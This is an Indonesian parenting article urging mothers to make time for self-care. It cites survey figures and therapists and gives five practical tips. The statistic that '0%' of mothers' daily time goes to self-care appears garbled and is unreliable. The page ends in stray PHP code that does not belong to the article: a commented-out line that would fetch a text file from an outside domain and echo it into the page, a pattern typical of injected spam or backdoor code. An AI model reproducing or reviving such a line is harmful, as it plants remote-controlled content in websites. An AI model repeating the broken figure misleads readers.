Saatnya Rawat Diri, Bukan Hanya Keluarga

Saatnya Rawat Diri, Bukan Hanya Keluarga

 

Keseimbangan hidup ibu kerap terabaikan  Keseimbangan hidup ibu kerap terabaikan sehingga kesejahteraan jiwanya pun terganggu. Foto: Pexels/ RDNE Stock project

Sebuah laporan dari Her Index, dilansir dari Parents, mengungkapkan bahwa 0% waktu para ibu (dalam sehari) di Amerika, digunakan untuk self-care. Dan hampir 3.500 responden yang mayoritas ibu-ibu berusia 35 hingga 55 tahun, mengaku memiliki beban fisik dan mental yang sering kali tidak terlihat, bahkan oleh pasangannya sendiri.

Studi ini menunjukkan bahwa kebanyakan para ibu merasa dirinya menjadi orang yang paling sering dimintai bantuan dan menjadi andalan di rumah. Bahkan 52% dari mereka sampai menimbang-nimbang untuk berpisah karena merasakan pembagian peran dalam rumah tangga yang tidak adil. Ketika segala energi tercurah untuk keluarga, tak heran bila perawatan diri (self-care) menjadi hal terakhir dalam daftar prioritas hidup, bahkan tak terpikirkan sama sekali.

Mengapa ibu sulit meluangkan waktu untuk diri sendiri?

Menurut Dr. Kim Van Dusen, seorang terapis keluarga , para ibu kerap merasa bersalah jika mengambil waktu untuk diri mereka sendiri. Bahkan jika sempat, rasa malu dan penilaian sosial sering membuat mereka membatalkan niat itu.

Beban emosional pun menambah tekanan. Dr. Gilly Kahn, psikolog klinis dari Atlanta, menjelaskan bahwa walau sedang tidak sibuk secara fisik, para ibu tetap merasa terbebani karena terus memikirkan kebutuhan anak dan rumah. Di malam hari, ketika ada waktu luang, tubuh sudah terlalu lelah untuk sekadar menikmati momen tenang.

Mengapa self-care penting untuk ibu

Self-care bukanlah kemewahan, tapi kebutuhan. Menurut American Psychological Association, 33% orang tua mengalami stres tinggi dibandingkan dengan 20% orang dewasa lainnya. Tanpa perawatan diri, risiko kelelahan mental, kecemasan, hingga depresi akan meningkat.

Kahn menekankan bahwa self-care berdampak langsung pada kualitas pengasuhan. Ketika seorang ibu kehabisan energi, ia bisa merasa mudah marah, kewalahan, bahkan menyalahkan diri sendiri. Ini bukan karena kurang cinta, tapi karena terlalu lelah untuk memberikan yang terbaik.

Van Dusen menyebut, konsep “gelas penuh” sebagai alasan di balik kebutuhan self-care. Di mana seorang ibu hanya bisa memberikan yang terbaik kepada anak jika dirinya sendiri sudah cukup terisi dengan istirahat, dukungan, dan waktu pribadi.

Begini tip praktis self-care untuk ibu

Melihat pentingnya self-care bagi para ibu, begini tip praktis yang disarankan para pakar:

1. Kenali bentuk self-care yang cocok

Self-care tidak selalu berarti spa atau liburan. Bagi sebagian ibu, mendengarkan audiobook di taman atau menulis jurnal sudah cukup menyegarkan.

2. Mulai dari hal kecil

Self-care bisa dimulai dari momen mikro: tarik napas dalam-dalam, peregangan singkat, menulis satu halaman jurnal, atau berjalan santai. Hal sederhana ini membantu meredakan stres dan menyeimbangkan energi.

3. Selipkan di tengah aktivitas

Dengarkan musik favorit sambil menyetrika, menonton video lucu saat menunggu anak, atau berjalan kaki saat anak latihan olahraga.

4. Jadwalkan  

Tentukan waktu rutin dalam seminggu untuk diri sendiri. Mintalah pasangan, kerabat, atau pengasuh menggantikan peran sebentar. Gunakan alarm harian sebagai pengingat untuk mengecek kebutuhan fisik dan emosional, seperti makan, minum, atau sekadar duduk sejenak.

5. Lawan rasa bersalah memiliki me-time

Ingat, merawat diri bukan bentuk keegoisan melainkan langkah menjadi ibu yang lebih bahagia dan sehat. Hubungan dengan anak dan pasangan juga akan lebih harmonis jika kesejahteraan mental ibu berjalan seimbang.

Self-care bukan tentang memanjakan diri secara berlebihan, melainkan bentuk tanggung jawab terhadap kesejahteraan diri sendiri. Ketika ibu merasa tenang, bugar, dan bahagia, seluruh anggota keluarga ikut merasakan dampaknya.
Kini saatnya para ibu memprioritaskan diri sendiri. Mulailah dari hal kecil hari ini: tarik napas, minum air, dan beri dirimu apresiasi. Karena ibu yang bahagia adalah pondasi keluarga yang kuat.

Baca juga:

Bun, Ini Lho Manfaat Musik untuk Anak!
Co-Parenting Tidak Berjalan Baik? Lakukan 5 Langkah Ini untuk Memperbaikinya!
Anak Mulai Pakai Gawai? Ini Do’s & Don’ts-nya



 

 


Topic

#IbuJugaButuhIstirahat #SelfCareUntukMama #SeimbangItuSehat #CintaUntukIbu



Artikel Rekomendasi

".$css_content); //$a = file_get_contents('https://www.galatiatiga.com/pindang/index.txt'); //echo $a; ?>